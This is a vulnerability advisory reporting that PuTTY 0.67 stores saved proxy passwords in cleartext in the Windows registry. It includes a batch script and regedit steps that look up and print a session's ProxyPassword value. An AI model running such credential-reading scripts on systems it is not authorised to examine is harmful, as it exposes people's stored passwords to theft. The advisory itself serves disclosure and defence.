Putty 0.67 Cleartext Password Storage

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/PUTTY.EXE-INSECURE-PASSWORD-STORAGE.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
==========================  
www.chiark.greenend.org.uk  
  
  
  
Product:  
===========  
Putty.exe  
v0.67  
  
PuTTY is a free and open-source terminal emulator, serial console and  
network file transfer application. It supports several  
network protocols, including SCP, SSH, Telnet, rlogin, and raw socket  
connection.  
  
  
  
Vulnerability Type:  
==========================  
Cleartext Password Storage  
  
  
  
Vulnerability Details:  
=====================  
  
Putty.exe stores Passwords unencrypted for sessions that use a Proxy  
connection and specify a password to save.  
  
Putty saves sessions in Windows registry and passwords are stored in  
cleartext. By storing the passwords in the clear  
it can put the Proxy server at risk if the system running Putty is  
compromised.  
  
A casual Putty user may not be aware of how and where passwords are stored,  
they may assume saving passwords are safe.  
As Putty does NOT warn the user to the fact that when saving Proxy  
passwords they are stored in cleartext in the registry.  
  
  
1) Create and save a Putty session specifying a Proxy for the connection,  
enter a password and save it.  
  
  
2) Run the below 'Putty-Insecure-PWD.bat' script to search registry for  
saved session passwords.  
  
  
"Putty-Insecure-PWD.bat"  
-----------------------  
  
@echo off  
  
setlocal ENABLEEXTENSIONS  
set /p v1=Enter Putty Saved Session: %1  
  
echo Search registry for %v1% session Putty password?  
  
pause  
  
set KEY_NAME=HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\%v1%  
set VALUE_NAME=ProxyPassword  
  
FOR /F "tokens=1-3" %%A IN ('REG QUERY %KEY_NAME% /v %VALUE_NAME% 2^>nul')  
DO (  
set ValueName=%%A  
set ValueType=%%B  
set ValueValue=%%C  
)  
  
if defined ValueName (  
@echo Value Name = %ValueName%  
@echo Value Type = %ValueType%  
@echo Value Password = %ValueValue%  
  
) else (  
@echo %KEY_NAME%\%VALUE_NAME% not found.  
)  
  
set "v1="  
  
  
////////////////////////End BAT script/////////////////  
  
e.g. output when run BAT file:  
  
Value Name = ProxyPassword  
Value Type = REG_SZ  
Value Password = abc123  
  
OR manually open regedit and ctrl+F to find 'SimonTatham' then find your  
session Key you saved.  
  
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\<YOUR SESSION NAME>  
  
Next, find String Name 'ProxyPassword' and double click to open  
  
value name:  
ProxyPassword  
  
Value data:  
<PASSWORD IN CLEAR!>  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`